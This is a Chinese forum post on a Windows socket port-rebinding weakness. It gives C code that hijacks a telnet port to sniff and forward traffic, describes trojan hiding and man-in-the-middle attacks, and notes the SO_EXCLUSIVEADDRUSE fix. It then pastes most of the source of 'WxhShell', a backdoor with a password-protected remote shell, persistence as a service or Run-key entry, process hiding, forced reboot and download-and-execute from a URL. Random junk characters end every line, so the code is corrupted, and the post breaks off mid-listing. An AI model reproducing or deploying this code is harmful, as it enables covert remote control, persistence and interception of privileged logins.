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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *Q@%< R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -m.SN>V  
HJn  
  saddr.sin_family = AF_INET; Z,~EH  
*Hnk,?kPq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FYe(S V(9  
k>8,/ AZd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q]q`+ Z65  
+H7lkbW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _p~lL<q-K[  
;&N;6V"}  
  这意味着什么?意味着可以进行如下的攻击: _;Q1P gT  
lUR7zrwJ]o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q DQ$Zq[  
R0n# FL^E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8p?Fql}F [  
2^}E!(<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kAEm#oz=g  
L;7x2&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T-: @p>  
YmS}*>oz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f ,?P1D\  
]&')# YO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c:/ H}2/C  
bk**% ]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [_&\wHX  
1?6;Oc^  
  #include [HKTXF{n  
  #include f\ wP}c'  
  #include <4gT8 kQ$x  
  #include    .."=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D=w5Lks  
  int main() RN0@Q~oTI  
  { @c<*l+Qc  
  WORD wVersionRequested; BnLM;5 >  
  DWORD ret; ? (&)p~o  
  WSADATA wsaData; /5ngPHy&  
  BOOL val; bN6FhKg|  
  SOCKADDR_IN saddr; cI9}YSk  
  SOCKADDR_IN scaddr; ~v 2E<S3  
  int err; <mm. b  
  SOCKET s; ^MyuD?va  
  SOCKET sc; M>pcG.6V  
  int caddsize; `Ns$HV  
  HANDLE mt; ]vJ] i <|b  
  DWORD tid;   J!$q"0G'WT  
  wVersionRequested = MAKEWORD( 2, 2 ); ,~@Nhd~k  
  err = WSAStartup( wVersionRequested, &wsaData ); 5$,dpLbL  
  if ( err != 0 ) { hcvWf\4'#q  
  printf("error!WSAStartup failed!\n"); >i>%@  
  return -1; rpk )i:k\  
  } r>=)Y32Q  
  saddr.sin_family = AF_INET; \;z *j|;B  
   { XN"L3A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >AT{\W!N  
Fxu'(xa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TwlrncK*  
  saddr.sin_port = htons(23); #Z'r;YOzs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @O7hY8",  
  { 0]C~CvO  
  printf("error!socket failed!\n"); O<&8 gk~  
  return -1; wt;7+  
  } *CHLs^)   
  val = TRUE; 8y-Sd\0g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yw|O,V<4N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3x=f}SO&  
  { <+1d'VQ2  
  printf("error!setsockopt failed!\n"); 3|=9aM^x^  
  return -1; #S57SD  
  } =Fq"lq %  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "t4$%7L]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k^ CFu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vJheM*C  
|U*wMYC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !2)$lM1@J  
  { "v @h  
  ret=GetLastError(); oT5 N_\  
  printf("error!bind failed!\n"); cxBu2( Y  
  return -1; os<B}D[  
  } @z8,XW }  
  listen(s,2); wHSas[4k  
  while(1) RR u1/nam  
  { 1LbJR'}  
  caddsize = sizeof(scaddr); T)"B35  
  //接受连接请求 }H!l@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T}ZUw;}BL  
  if(sc!=INVALID_SOCKET) b~khb!]  
  { 1}A1P&2>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Bn83W4M  
  if(mt==NULL) sLGut7@Sg  
  { ;VY0DAp{  
  printf("Thread Creat Failed!\n"); n%o"n?e  
  break; eIEr\X4\~~  
  } 1epj/bB&  
  } 9?xMsu-H  
  CloseHandle(mt); DYJ F6O  
  } S&y(A0M  
  closesocket(s); iw!kV  
  WSACleanup(); A.a UWh  
  return 0; E2M|b  
  }   @Sxb}XI!f  
  DWORD WINAPI ClientThread(LPVOID lpParam) 86c@Kk7z  
  { 8+ P)V4}  
  SOCKET ss = (SOCKET)lpParam; >z'kCv  
  SOCKET sc; xEt".K  
  unsigned char buf[4096]; ={[s)G  
  SOCKADDR_IN saddr; Ww9%6 #i t  
  long num; &,pL3Qos  
  DWORD val; KLpe!8tAe  
  DWORD ret; Xx~za{p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FOB9J.w4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D$W&6'  
  saddr.sin_family = AF_INET; 26yjQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x>5"7MR`  
  saddr.sin_port = htons(23); /&g5f4[|p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *~~&*&+  
  { 2R:I23[#B  
  printf("error!socket failed!\n"); > YHwWf-  
  return -1; ZT>?[`Vgc  
  } ' +6H=Qn  
  val = 100; Z5lE*z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _^+z2m+ ~N  
  { %SW"{GnO ^  
  ret = GetLastError(); V87?J w%2  
  return -1; p>w{.hC@  
  } M_-LI4>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vs3px1Xe#  
  { Bnju_)U5)  
  ret = GetLastError(); )Mw<e  
  return -1; 6%/@b`vZ  
  } OR4ZjogzY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q{hXP*5  
  { 1bW[RK;GE  
  printf("error!socket connect failed!\n"); =|)W#x9=  
  closesocket(sc); N# o" W  
  closesocket(ss); DA)mkp  
  return -1; <ob+Ano$  
  } t{\,vI  
  while(1) {ZiZ$itf  
  { 9C?;'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZeVb< g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 II !Nr{A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >j [> 0D  
  num = recv(ss,buf,4096,0); YzTmXwuA5  
  if(num>0) F`W8\u'db  
  send(sc,buf,num,0); H-&Z+4 +Xs  
  else if(num==0) f9A^0A?c  
  break; qd@x#"qT  
  num = recv(sc,buf,4096,0); %1E:rw@  
  if(num>0) 0/".2(\}T  
  send(ss,buf,num,0); bVE t?E*+  
  else if(num==0) Ood8Qty(  
  break; K)m\xzT/  
  } *82f {t]  
  closesocket(ss); Ku6bY|  
  closesocket(sc); p~ `f.q$'  
  return 0 ; cVrses^yE  
  } m'|{AjH z6  
w Phs1rL  
?nWK s  
========================================================== xHs8']*\  
eGZ{%\PH<  
下边附上一个代码,,WXhSHELL $tGk,.#j  
C]22 [v4  
========================================================== x.Sq2rw]V  
SDY!!.  
#include "stdafx.h" qPJU}(9#B  
SiN22k+  
#include <stdio.h>  yQkj4v{  
#include <string.h> Jvysvi{8  
#include <windows.h> %G~ f>  
#include <winsock2.h> cN/8 b0C  
#include <winsvc.h> cTy;?(E  
#include <urlmon.h> zD>:Kj5  
7x *]  
#pragma comment (lib, "Ws2_32.lib") !<psK[  
#pragma comment (lib, "urlmon.lib") o<\CA[   
. }QR~IR'  
#define MAX_USER   100 // 最大客户端连接数 [12^NEt  
#define BUF_SOCK   200 // sock buffer ~~h@(2/Q>x  
#define KEY_BUFF   255 // 输入 buffer jl# )CEx  
Yb57Xu  
#define REBOOT     0   // 重启 q$[x*!~  
#define SHUTDOWN   1   // 关机 Rk#@{_  
F1skI _!  
#define DEF_PORT   5000 // 监听端口 *KF-q?PBb  
0QE2e'}}-  
#define REG_LEN     16   // 注册表键长度 n@9*>D U  
#define SVC_LEN     80   // NT服务名长度 E 9=a+l9  
ZqaCe>  
// 从dll定义API $_N<! h*\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?:bW@x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F\1{bN|3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E|!rapa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q4)8]Y2  
a~b^`ykcWP  
// wxhshell配置信息 $7q'Be@{  
struct WSCFG { \IZfp=On  
  int ws_port;         // 监听端口 V\nQHzjF<6  
  char ws_passstr[REG_LEN]; // 口令 -3 }  
  int ws_autoins;       // 安装标记, 1=yes 0=no +we3BE.  
  char ws_regname[REG_LEN]; // 注册表键名 p9*#{~   
  char ws_svcname[REG_LEN]; // 服务名 b"-eQb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p#:.,;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p s:|YR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U0}]3a0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =i jGB~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r"s <;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P$MAURFm  
Yrb[:;Y  
}; a =LjFpv/]  
!"\UT&  
// default Wxhshell configuration LD]>_P83  
struct WSCFG wscfg={DEF_PORT, wy3{>A Z(  
    "xuhuanlingzhe", sWp]Zy  
    1, \TM%,RC3K  
    "Wxhshell", *c}MI e'&  
    "Wxhshell", qp>V\h\  
            "WxhShell Service", ]$)J/L(p/]  
    "Wrsky Windows CmdShell Service", y:Ycn+X.  
    "Please Input Your Password: ", jBexEdH  
  1, bqmOfGM  
  "http://www.wrsky.com/wxhshell.exe", {9wBb`.n^  
  "Wxhshell.exe" #8.%YG  
    }; Snx_NH#tA  
.VF4?~+M-  
// 消息定义模块 ]m0MbA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bg$df 0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `.PZx%=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ax7]>Z=%d"  
char *msg_ws_ext="\n\rExit."; N~H9|CX  
char *msg_ws_end="\n\rQuit."; r0=Aru5n  
char *msg_ws_boot="\n\rReboot..."; a}l^+  
char *msg_ws_poff="\n\rShutdown..."; \ ]  
char *msg_ws_down="\n\rSave to "; 1=C>S2q  
3| 5Af  
char *msg_ws_err="\n\rErr!"; fDo )~t*~  
char *msg_ws_ok="\n\rOK!"; Bor_Kib  
;hsgi|Cy-  
char ExeFile[MAX_PATH]; MrIo.  
int nUser = 0; SJhcmx+  
HANDLE handles[MAX_USER]; M%H<F3  
int OsIsNt; uZ mi  
z@hlN3dg  
SERVICE_STATUS       serviceStatus; Yrp WGK520  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qv<[f=X9|  
oy90|.]G  
// 函数声明 3{o5AsVv  
int Install(void); h amn9  
int Uninstall(void); <6k5nEh  
int DownloadFile(char *sURL, SOCKET wsh);  ol^J-  
int Boot(int flag); P@LYa_UFsN  
void HideProc(void); 56(S[  
int GetOsVer(void); XBv:$F.>$  
int Wxhshell(SOCKET wsl); M/ @1;a@\  
void TalkWithClient(void *cs); yP\KIm!  
int CmdShell(SOCKET sock); xcO Si>  
int StartFromService(void); m_~!Lj[u.  
int StartWxhshell(LPSTR lpCmdLine); E )D*~2o/  
l ,0]iVJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |eIEqq.Eb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )+2GF0%  
?[Xv(60]  
// 数据结构和表定义 j["b*X`8G  
SERVICE_TABLE_ENTRY DispatchTable[] = d[ql7  
{ )24r^21.q  
{wscfg.ws_svcname, NTServiceMain}, `mV&[`NZ  
{NULL, NULL} i,>yIPBU!  
}; (C/2shr 8  
ON~jt[  
// 自我安装 9J% ~?k  
int Install(void) @ ]u nqCO  
{ c%Y%c2([  
  char svExeFile[MAX_PATH]; Ij>IL!  
  HKEY key; b`N0lH.V  
  strcpy(svExeFile,ExeFile); >pjmVl w?  
>x0"gh  
// 如果是win9x系统,修改注册表设为自启动 _+%RbJ~H  
if(!OsIsNt) { VYj hU?I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I, 9!["^|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @O b$w1c  
  RegCloseKey(key); _W]qV2j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L 1=HD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C*kGB(H7  
  RegCloseKey(key); p b:mw$XQ7  
  return 0; YX38*Ml+V  
    } 26|2r  
  } ?qwTOi  
} cA_77#<8  
else { V,?i]q;5  
{Lu-!}\NP  
// 如果是NT以上系统,安装为系统服务 >$h*1/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); co<-gy/mCR  
if (schSCManager!=0) 47s<xQy  
{ wzhM/Lmo\z  
  SC_HANDLE schService = CreateService .-t#wXEi  
  ( ehQ"<.sQ  
  schSCManager, / *J}7  
  wscfg.ws_svcname, isK~=  
  wscfg.ws_svcdisp, fNOsB^Y  
  SERVICE_ALL_ACCESS, t b5k|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kW>Q9Nc=V  
  SERVICE_AUTO_START, ](yw2c;m e  
  SERVICE_ERROR_NORMAL, T-x1jC!B'  
  svExeFile, i{zg{$U  
  NULL, BG!;9Z{u  
  NULL, 7r,'a{Rcn  
  NULL, F/z$jj)  
  NULL, cRBdIDIc  
  NULL ]O2ku^yM  
  ); =qH9<,p`H  
  if (schService!=0) %KL"f  
  { y&T(^EA;  
  CloseServiceHandle(schService); `pS<v.L3  
  CloseServiceHandle(schSCManager); c%-s_8zvi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y\L$8BSL  
  strcat(svExeFile,wscfg.ws_svcname); Nx>WOb98  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >&V?1!N"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5`CPaJT$  
  RegCloseKey(key); yNVuSj  
  return 0; :|/bEP]p/  
    } Rh#0EbE2  
  } AA&398F  
  CloseServiceHandle(schSCManager); ncS.~F  
} b(wzn`Z%Et  
} Z(LDAZG  
VP^Yph 8R  
return 1; =Ly7H7Q2  
} kgfOH.P  
W!B4~L  
// 自我卸载 Z}_{@|  
int Uninstall(void) w5uOi}T\  
{ b'Cy!dr  
  HKEY key;  |/K+tH  
idiJ|2T"G  
if(!OsIsNt) { <1#v}epD#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1.WdxMpW9  
  RegDeleteValue(key,wscfg.ws_regname); c$aTl9e  
  RegCloseKey(key); (3YqM7cqt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F#S^Q`  
  RegDeleteValue(key,wscfg.ws_regname);  qGG  
  RegCloseKey(key); sIQd }  
  return 0; hYRGIpu5  
  } Ql8E9~h  
} Qp8. D4^@3  
} b Z c&uq_  
else { sXm8KV  
-FA]%Pl<'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M,1Yce%+}  
if (schSCManager!=0) ]Hk8XT@Q+  
{ <4s$$Uw}6%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NQefrof  
  if (schService!=0) 3vTX2e.w  
  { IE*GF27n  
  if(DeleteService(schService)!=0) { oL0Q%_9hW  
  CloseServiceHandle(schService); X;ef&n`U0  
  CloseServiceHandle(schSCManager); gzqx{ ]  
  return 0; )%p.v P'p  
  } o_   
  CloseServiceHandle(schService); Rfh#JO@%[  
  } zA[6rYXY  
  CloseServiceHandle(schSCManager);  Isv@V.  
} et]- ;(M  
} aH<BqD[#  
Di{T3~fqU  
return 1; bv$g$  
} 5^'PjtW6  
0KqGJ :Ru  
// 从指定url下载文件 '/+l\.z"&  
int DownloadFile(char *sURL, SOCKET wsh) 4~-"k{Xt  
{ b}'XDw   
  HRESULT hr; Ro :/J  
char seps[]= "/"; CpHF3o`Z6  
char *token; :@KU_U)\  
char *file; CU)'x E  
char myURL[MAX_PATH]; krwY_$q  
char myFILE[MAX_PATH]; =1 g  
q:Gi Qk-  
strcpy(myURL,sURL); ^44AE5TO  
  token=strtok(myURL,seps); =KJK'1m9  
  while(token!=NULL) w^N xR,  
  { B6~a `~"  
    file=token; lVY`^pw?  
  token=strtok(NULL,seps); !fF1tW  
  } D-*`b&i48  
S8;Dk@rr(y  
GetCurrentDirectory(MAX_PATH,myFILE); ") kE 1D%  
strcat(myFILE, "\\"); clK3kBh~&  
strcat(myFILE, file); C!xqp   
  send(wsh,myFILE,strlen(myFILE),0); Z#.J>_u )  
send(wsh,"...",3,0); D%k%kg0,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vtw{ A}  
  if(hr==S_OK) g[fCvWm#d  
return 0; [.;$6C/?  
else FEgM4m.(G<  
return 1; Ho[Kxe[c  
+^$FA4<~  
} @$'k1f(u>  
?H8w/{J   
// 系统电源模块 Dg~r%F  
int Boot(int flag) p]=a:kd4J  
{ [/ uqH  
  HANDLE hToken; tWL3F?wd  
  TOKEN_PRIVILEGES tkp; \/,54c2  
Q" BIk =  
  if(OsIsNt) { 8 PI>Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kQ4-W9u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j|3p.Cy  
    tkp.PrivilegeCount = 1; TS+itU62  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H@0i}!U64  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y BF3Lms  
if(flag==REBOOT) { K(RG:e~R0i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]~~PD?jh  
  return 0; UO^"<0u  
} &UH .e  
else { v-2_#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [)U|HnAJ  
  return 0; HNN,1MN  
} hMz= \)Pl  
  } +e_NpC  
  else { =YlsJ={h  
if(flag==REBOOT) { HJ[@;F|aU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y6L_ _ RT  
  return 0; |&Gm.[IX;q  
} xI?%.Z;*+  
else { x5\C MWW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )G6{JL-I  
  return 0; UD1R _bL}  
} ~oO>6  
} xaQ]Vjw  
("UcjB^62  
return 1; "w ] Bq0  
} R,[ dEP  
$%!'c# F  
// win9x进程隐藏模块 -'btKz*9  
void HideProc(void) $p@V1"x  
{ 6|gC##T  
@,0W(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pe[~kog,TP  
  if ( hKernel != NULL ) Yt79W  
  { ?)<DEu:Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^(7<L<H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y]$%>N0vLX  
    FreeLibrary(hKernel); Dz$GPA   
  } U{(B)dFTH  
$%9.qy\8  
return; EJ7}h?a]U_  
} ^eke,,~  
L+y}hb r  
// 获取操作系统版本 &P 'cf|KI  
int GetOsVer(void) (VeX[*}I  
{ b4%sOn,  
  OSVERSIONINFO winfo; u*:B 9E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xgV. <^  
  GetVersionEx(&winfo); Z,AF^,H[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X5i?B b.  
  return 1; `l+{jrRb<  
  else @-y.Y}k#$~  
  return 0; UMsJg7~  
} *aF#on{  
Dizc#!IGU  
// 客户端句柄模块 |r2 U4 ^  
int Wxhshell(SOCKET wsl)  ,r\  
{ O ;,BzA-n  
  SOCKET wsh; * S4IMfp  
  struct sockaddr_in client; 1fwjW0t  
  DWORD myID; ]6)^+(zU  
"w3#2q&  
  while(nUser<MAX_USER) 6qfL-( G  
{ 3e&H)  
  int nSize=sizeof(client); NzB"u+jB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JL0>-kg  
  if(wsh==INVALID_SOCKET) return 1; *@6,Sr)_  
)/VhkSXbG!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 67Z@Hg  
if(handles[nUser]==0) 5~GHAi  
  closesocket(wsh); #6O<!{PH6  
else k=D_9_  
  nUser++; &&Ruy(&]I  
  } .}'49=c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t"[ xx_i  
[Q(FBoI|  
  return 0; )BI6nU  
} 0X6|pC~  
g \]2?vY.  
// 关闭 socket :&*Y Io  
void CloseIt(SOCKET wsh) 8 nCw1   
{ Q+L;k R  
closesocket(wsh); !EO*xxQ  
nUser--; \*] l'>x1  
ExitThread(0); 9 t)A_}O  
} ko-|hBNv  
Mf'T\^-!  
// 客户端请求句柄 i=Nq`BoQf  
void TalkWithClient(void *cs) &sh5|5EC  
{ M*XAyo4 fI  
-J7BEx  
  SOCKET wsh=(SOCKET)cs; ?#N: a  
  char pwd[SVC_LEN]; >uHU3<2&  
  char cmd[KEY_BUFF]; KtTlc#*KU  
char chr[1]; bs_>!H1  
int i,j; 4^4<Le-G  
*4]u?R  
  while (nUser < MAX_USER) { KZ8Hp=s  
3<Qe'd ^  
if(wscfg.ws_passstr) { %t&   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k@[\ C`P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n=t50/jV3=  
  //ZeroMemory(pwd,KEY_BUFF); |qUi9#NUo  
      i=0; mab921-n  
  while(i<SVC_LEN) { S5o\joc  
1!N|a< #  
  // 设置超时 !e>+ O^  
  fd_set FdRead; )Z4ilpU,  
  struct timeval TimeOut; c*>8VW>  
  FD_ZERO(&FdRead); }STTDq4  
  FD_SET(wsh,&FdRead); > 4n\  
  TimeOut.tv_sec=8; ^,W;dM2  
  TimeOut.tv_usec=0; 5UWj#|t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -"Mq<XO&51  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ].AAHu5  
<Wd#HKIG>l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h2k"iO }  
  pwd=chr[0]; 6}z-X*  
  if(chr[0]==0xd || chr[0]==0xa) { aCxF{>n  
  pwd=0; ,"6Bw|s  
  break; & OO0v*@{  
  } g=G>4Ua3  
  i++; @aQ};~  
    } CGyw '0S  
a^{"E8j  
  // 如果是非法用户,关闭 socket YK xkO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n 0/<m.  
} ,\fp .K<  
zx #HyO[a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mVaWbR@HS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %:/@1r7o>  
g&E3Wc  
while(1) { I 68Y4s  
hQWo ]WF(J  
  ZeroMemory(cmd,KEY_BUFF); >z #^JR\6  
pW[KC!  
      // 自动支持客户端 telnet标准   [P:+n7= ,l  
  j=0; io&FW!J.  
  while(j<KEY_BUFF) { (5rfeSA^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %P8*Az&]T  
  cmd[j]=chr[0]; t,bQ@x{zVC  
  if(chr[0]==0xa || chr[0]==0xd) { u; ]4 ydp  
  cmd[j]=0; 9~7s*3zI  
  break; 1eP`  
  } pY~/<lzW  
  j++; 4D'AAr57  
    } )6!ji]c N  
Zk:Kux[7  
  // 下载文件 OrC}WMhd  
  if(strstr(cmd,"http://")) { *JD-|m K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); If>bE!_BO  
  if(DownloadFile(cmd,wsh)) )44c[Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _O,k0O   
  else Q[n*ce7L0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Fq~!D Ee  
  } EvP\;7B  
  else { >TQNrS^$J  
\rpXG9  
    switch(cmd[0]) { ;2y4^  
  =&K8~   
  // 帮助 iNCT(N~.  
  case '?': { f>CJ1 ;][{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;% <[*T:*'  
    break; K[q{)>,9  
  } |tr^ `Z  
  // 安装 ;:PxWm|_  
  case 'i': { zG* >g  
    if(Install()) N^Hj%5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jk\z-hd  
    else 0h-'TJg*sk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (=-6'23q)  
    break; `GUGy.b  
    } "Snt~:W>  
  // 卸载 GBY-WN4sc[  
  case 'r': { 0$g;O5y"i  
    if(Uninstall()) 4JO[yN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XN&cM,   
    else +\R__tx;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p![UOI"W  
    break; |[_%zV;p>v  
    } #E$*PAB  
  // 显示 wxhshell 所在路径 %,UTFuM`  
  case 'p': { j 06 mky  
    char svExeFile[MAX_PATH]; }'p"q )  
    strcpy(svExeFile,"\n\r"); %dwI;%0  
      strcat(svExeFile,ExeFile); hLICu[LC?  
        send(wsh,svExeFile,strlen(svExeFile),0); 0FcG;i+  
    break; cj\?vX\V  
    } Ul<:Yt&nI  
  // 重启 Y|!m  
  case 'b': { koa-sy)#L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yz<$?Gblz  
    if(Boot(REBOOT)) =5;tB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =E w<s5C@  
    else { Qv W vS9]  
    closesocket(wsh); ";U#aK1p  
    ExitThread(0); o- v#Zl  
    } ]~:WGo=_  
    break; a@S{ A5j  
    } Kw7uUJR  
  // 关机 [G",Yky  
  case 'd': { 3;JF 5e\?x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .TM. v5B  
